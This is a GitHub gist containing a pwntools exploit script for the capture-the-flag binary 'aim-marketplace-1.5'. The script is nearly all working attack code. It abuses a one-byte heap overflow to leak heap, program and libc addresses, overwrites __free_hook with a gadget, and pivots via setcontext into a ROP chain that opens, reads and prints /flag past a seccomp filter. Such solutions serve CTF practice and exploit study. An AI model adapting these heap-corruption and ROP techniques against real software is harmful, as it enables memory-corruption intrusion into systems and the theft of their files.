Skip to content

Instantly share code, notes, and snippets.

@one2blame
Created June 8, 2021 20:59
Show Gist options
  • Save one2blame/c06dee3e962a168afc33afeacc6818f7 to your computer and use it in GitHub Desktop.
Save one2blame/c06dee3e962a168afc33afeacc6818f7 to your computer and use it in GitHub Desktop.
aim-marketplace-1.5
#!/usr/bin/env python3
"""
Run locally with:
./solve.py
Run against remote with:
./solve.py REMOTE HOST=x.x.x.x PORT=xxxxx
"""
"""
seccomp-tools dump ./aim-marketplace-1.5
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x09 0xc000003e if (A != ARCH_X86_64) goto 0011
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x06 0xffffffff if (A != 0xffffffff) goto 0011
0005: 0x15 0x04 0x00 0x00000000 if (A == read) goto 0010
0006: 0x15 0x03 0x00 0x00000001 if (A == write) goto 0010
0007: 0x15 0x02 0x00 0x00000002 if (A == open) goto 0010
0008: 0x15 0x01 0x00 0x00000009 if (A == mmap) goto 0010
0009: 0x15 0x00 0x01 0x000000e7 if (A != exit_group) goto 0011
0010: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0011: 0x06 0x00 0x00 0x00000000 return KILL
"""
from pwn import *
splash()
BINARY = "./aim-marketplace-1.5.patched"
LIBC = "./libc-2.31.so"
LD = "./ld-2.31.so"
FLAG_NAME = "/flag"
elf = context.binary = ELF(BINARY)
libc = ELF(LIBC, checksec=False)
ld = ELF(LD, checksec=False)
context.terminal = ["tmux", "splitw", "-v"]
if args.REMOTE:
io = remote(args.HOST, args.PORT)
elif args.STRACE:
io = process(["strace", "-o", "strace.txt", BINARY])
else:
io = process([LD, BINARY], env={"LD_PRELOAD": libc.path})
if args.GDB:
gdb.attach(
io,
f"""
file {BINARY}
continue
""",
)
class Const:
max_num_people = 0x20
max_num_assignments = 0x20
max_resume_len = 0x100
class Offsets:
elf_leak_offset = 0x2030
initial = 0x1eb000
class Gadgets:
call_gadget = 0x154930
setcontext_gadget = 0x580DD
pop_rax = 0x4A550
syscall = 0x66229
xchg_eax_edi = 0x2ad2b
pop_rsi = 0x27529
pop_rdx_pop_r12 = 0x11c371
pop_rdi = 0x26b72
def send(data, newline=False):
if newline:
io.sendlineafter("> ", data)
else:
io.sendafter("> ", data)
def send_num(num):
send(str(num), newline=True)
menu = send_num
def create_assignment(description, sz=None):
menu(1)
if sz is None:
sz = len(description)
send_num(sz)
if description:
send(description)
def edit_assignment(idx, data):
menu(2)
send_num(idx)
send(data)
def print_assignment(idx):
menu(3)
send_num(idx)
def delete_assignment(idx):
menu(4)
send_num(idx)
def create_person(resume, assignment_preference_idx, resume_sz=None):
menu(5)
if resume_sz is None:
resume_sz = len(resume)
send_num(resume_sz)
send(resume)
send_num(assignment_preference_idx)
def edit_resume(idx, offset, data, sz=None):
if sz is None:
sz = len(data)
menu(6)
send_num(idx)
send_num(offset)
send_num(sz)
send(data)
def print_person(idx):
menu(7)
send_num(idx)
def delete_person(idx):
menu(8)
send_num(idx)
# input("PAUSE...")
# Store page of garbage data on the heap, making space for future ROP chain.
create_assignment(cyclic(0x1000, n=8))
# Create a person and completely fill out the resume with cyclic bytes.
create_person(cyclic(Const.max_resume_len, n=8), 0)
# Leverage one byte heap buffer overflow to modify resume_len in person struct.
edit_resume(0, 255, b"\xff\xff")
# Leverage corrupted resume_len to remove \x00 btyes from resume_len.
edit_resume(0, 255, cyclic(0x9, n=8))
# Call `puts()` on resume, causing puts() to print assignment member in person struct.
print_person(0)
# Remove garbage and grab heap pointer of assignment member in person struct.
heap_leak = u64(io.recvuntil("\n")[272:-1].ljust(8, b"\x00"))
print(f"heap @: {hex(heap_leak)}")
# Groom heap in order to get two assignment structures adjacent to compromised resume.
for i in range(14):
create_assignment("")
# Corrupt succeeding heap chunk containing an assignment struct,
# overwriting the char * member to point to an adjacent assigment struct.
target_heap_chunk = heap_leak - 0x720
edit_resume(0, 255 + 0x21, p64(target_heap_chunk))
# Print the victim assignment struct, leaking the data contained at the adjacent
# assignment struct's heap chunk.
print_assignment(13)
io.recvuntil("\n")
# The adjacent assignment struct is using a default message, stored globally as a
# const char *, thus its string pointer is contained in the program's .rodata
# section.
elf_leak = u64(io.recvuntil("\n")[:-1].ljust(8, b"\x00"))
elf.address = elf_leak - Offsets.elf_leak_offset
print(f"elf @: {hex(elf.address)}")
# We corrupt the succeeding heap chunk again to point to the Global Offset
# Table (GOT).
edit_resume(0, 255 + 0x21, p64(elf.got.puts))
# We print the victim assignment struct that now points to the GOT, leaking
# the address of `puts()` in libc.
print_assignment(13)
io.recvuntil("\n")
puts_leak = u64(io.recvuntil("\n")[:-1].ljust(8, b"\x00"))
libc.address = puts_leak - libc.sym.puts
print(f"libc @: {hex(libc.address)}")
# We corrupt the victim assignment struct a final time, pointing its char * member
# to the `__free_hook` in libc.
payload = [libc.sym.__free_hook, 0x8]
edit_resume(0, 255 + 0x21, flat(payload))
# We edit the victim assignment's char * member, which now points to the
# `__free_hook`, overwriting it with the address of our call_gadget to conduct
# a heap pivot.
edit_assignment(13, p64(libc.address + Gadgets.call_gadget))
# The following payload will be used by the call_gadget to pivot into the
# rest of the ROP chain within this payload. This ROP chain will execute code
# within setcontext() to setup RSP and other registers for the follow-on
# open-read-write ROP chain.
payload_base = heap_leak + 0x2D0
payload = [
cyclic(cyclic_find(0x6161616161616162, n=8), n=8),
payload_base,
cyclic(cyclic_find(0x6161616161616163, n=8), n=8),
libc.address + Gadgets.setcontext_gadget,
0,
0,
0xDEADBEEFCAFEBABE,
0x1337CAFEBEEFBABE,
0,
0,
0,
0,
payload_base + 0x158,
0,
0,
0,
0,
0xCAFEBEEFBABEDEAD,
0,
payload_base + 0xB0,
libc.address + Gadgets.pop_rax,
2,
libc.address + Gadgets.syscall,
libc.address + Gadgets.xchg_eax_edi,
libc.address + Gadgets.pop_rsi,
libc.address + Offsets.initial,
libc.address + Gadgets.pop_rdx_pop_r12,
0x1000,
0,
libc.address + Gadgets.pop_rax,
0,
libc.address + Gadgets.syscall,
libc.address + Gadgets.pop_rdi,
1,
libc.address + Gadgets.pop_rsi,
libc.address + Offsets.initial,
libc.address + Gadgets.pop_rdx_pop_r12,
0x1000,
0,
libc.address + Gadgets.pop_rax,
1,
libc.address + Gadgets.syscall,
FLAG_NAME,
0,
]
# Edit assignment 0 to upload the heap pivot into open-read-write ROP chain.
edit_assignment(0, flat(payload))
# free() assignment 0, causing the program to execute call_gadget(rdi)
delete_assignment(0)
io.interactive()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment